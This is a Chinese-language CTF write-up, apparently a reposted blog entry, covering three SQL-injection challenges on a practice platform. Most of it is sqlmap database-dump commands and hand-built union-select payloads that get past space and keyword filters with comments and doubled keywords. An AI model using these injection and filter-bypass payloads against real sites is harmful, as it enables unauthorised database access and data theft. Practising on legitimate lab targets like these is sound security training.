当前位置:Gxlcms > 数据库问题 > 实验吧-web 简单的sql注入(合集,答案是一样的--_--)

实验吧-web 简单的sql注入(合集,答案是一样的--_--)

时间:2021-07-01 10:21:17 帮助过:52人阅读

链接:http://ctf5.shiyanbar.com/web/index_3.php

输入1,页面显示hello,输入1‘,页面报错

尝试一下用sqlmap跑,没想到就跑出来了     O(∩_∩)O哈哈~

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs

技术分享

猜测在数据库web1里面

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

技术分享

明显在表flag里面

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

技术分享

就在此段flag里面了

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

技术分享

 

简单的sql注入2

链接:http://ctf5.shiyanbar.com/web/index_2.php
试着先输入1,再输入1‘,页面报语法错误,再输入1 ‘页面出现SQLi detected!,推出空格被它过滤了

接下来有两种方法:用sqlmap或者手注

先手注

过滤的空格可以用/**/代替,查询当前数据库的表

‘/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/‘1‘=‘1

技术分享

猜测在flag表里面

技术分享

下面用sqlmap进行注入

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
技术分享

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1

技术分享

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

技术分享

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

技术分享

 

3.简单的SQL注入

链接:http://ctf5.shiyanbar.com/423/web/

这道题也是sql注入,输入1,页面显示正常,输出1‘,页面报错

之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格

1.查询当前数据库

1‘  unionunion  selectselect  database()‘

技术分享

 

2.查询数据库中的表

1‘  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  ‘1‘=‘1

技术分享

3.查询字段名

1‘ unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name=‘flag

技术分享

 

4.最后构造出1‘  unionunion  selectselect  flag  fromfrom  flag  wherewhere  ‘1‘=‘1

 

技术分享

实验吧-web 简单的sql注入(合集,答案是一样的--_--)

标签:web   map   报错   images   nba   9.png   注入   bar   12px   

人气教程排行